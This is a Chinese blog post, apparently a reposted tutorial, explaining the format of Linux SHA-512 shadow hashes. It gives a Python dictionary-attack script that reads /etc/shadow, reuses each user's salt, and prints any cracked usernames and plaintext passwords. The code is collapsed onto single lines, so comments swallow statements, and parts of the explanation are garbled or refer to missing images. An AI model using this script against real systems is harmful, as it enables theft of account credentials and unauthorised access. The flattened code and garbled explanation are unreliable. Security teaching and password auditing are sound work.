linux密码暴力破解之SHA-512破解
linux密碼暴力破解
由于MD5加密已經發展了很多年,現在市面上已經積累了大量的MD5數據,這樣,MD5的安全性也就受到了威脅,所以,從centos6.x版本開始,系統密碼開始采用SHA-512加密,與MD5加密相比,SHA-512加密后長度更長,也就意味著SHA-512相比MD5更加安全.
密碼加密原理
在我們進行密碼破解前,我們首先需要了解linux系統密碼加密的原理:
1. 密文由3部分組成,以”$”分隔,第一部分為ID,第二部分為鹽值,第三部分為加密密文
什么是ID?
ID用來表示加密的方法.
如下圖,
1表示加密方法使用MD5,1表示加密方法使用MD5,6表示加密方法使用SHA-512
什么是鹽值(salt)?
鹽值就是使用隨機字符碼混合密碼加密算法所產生的密碼,作用就是即使是同一個密碼,使用同一種加密方式,所產生的密文值也不同
如上面提到的密文示例:
什么是密文?
這個我就不多介紹了,同上面的密文示例
了解了原理,我們就可以使用工具來進行密碼的暴力破解了
這里采用是利用python進行破解.
需要用到python下的 crypt 這個庫,這個庫下的.crypt方法可以根據猜想的密碼原文和鹽值來生成加密后的完整密文.
簡單的講一下思路:
1.獲取到鹽值
2.將獲取的鹽值和猜想的密碼通過crypt.crypt()加密后生成的密文與系統中存儲的密文進行對比,如果密文相同,則輸出對應的用戶和密碼
環境準備:
1.python
2./root/Desktop/wordlist.TXT 存放著我們的密碼字典
3./etc/shadow 存放著系統的密碼
附上詳細代碼和注釋,有不明的白的可以留言.
#!/usr/bin/env python #指定這是一個python文件,使用這個解釋器執行 #-*- coding:utf-8 -*- #設定編碼格式,防止報錯 import crypt #調用crypt這個庫user_passfile = "/etc/shadow" #獲取系統密碼路徑 zidian = "/root/Desktop/wordlist.TXT" #獲取字典路徑#提取系統中的用戶名和密文 def get_pass(user_passfile): used = {} #定義一個空字典f=open(user_passfile,"r") #讀取系統密碼文件userline = f.readlines() #將該文件轉換為列表格式f.close() #關閉文件for i in userline: #遍歷列表里的內容if len(i.split(":")[1]) > 3: #以":"分割,取第二個元素的長度,也就是完整密文值的長度,如果大于3,我們認定它有密碼,把它取出來used[i.split(":")[0]]=i.split(":")[1] #我們將取出的密文給了相應的用戶,這里的used[i.split(":")[0]]是字典的key,也就是系統中的用戶名,后面的i.split(":")[1]是用戶名后的加密密文return used #返回這個字典#提取我們密碼字典里的內容 def look_d(zidian): f = open(zidian,'r') #讀取字典文件內容mwlist = f.readlines() #將讀取的內容轉換為列表f.close() #關閉文件return mwlist #返回這個列表#根據密文是否相同判斷出對應的用戶和密碼 def main(user_passfile,zidian):used = get_pass(user_passfile) #調用自定義函數get_passmingwen = look_d(zidian) #調用自定義函數look_dfor user in used:passwd = used[user] #一次遍歷每個用戶的密文salt = "$6$"+passwd.split("$")[2] #獲取鹽值for passwdmw in mingwen: #遍歷系統中的每個完整密文if passwd == crypt.crypt(passwdmw.rstrip(),salt): #如果我們猜想的密文與系統中的密文相同,輸入它的用戶名和密碼print("userName:%s passWord:%s" %(user,passwdmw.rstrip())) if __name__ == "__main__":main(user_passfile,zidian) 超強干貨來襲 云風專訪:近40年碼齡,通宵達旦的技術人生總結
以上是生活随笔為你收集整理的linux密码暴力破解之SHA-512破解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 内网渗透--获取其他电脑相册
- 下一篇: python工具打造之实现端口扫描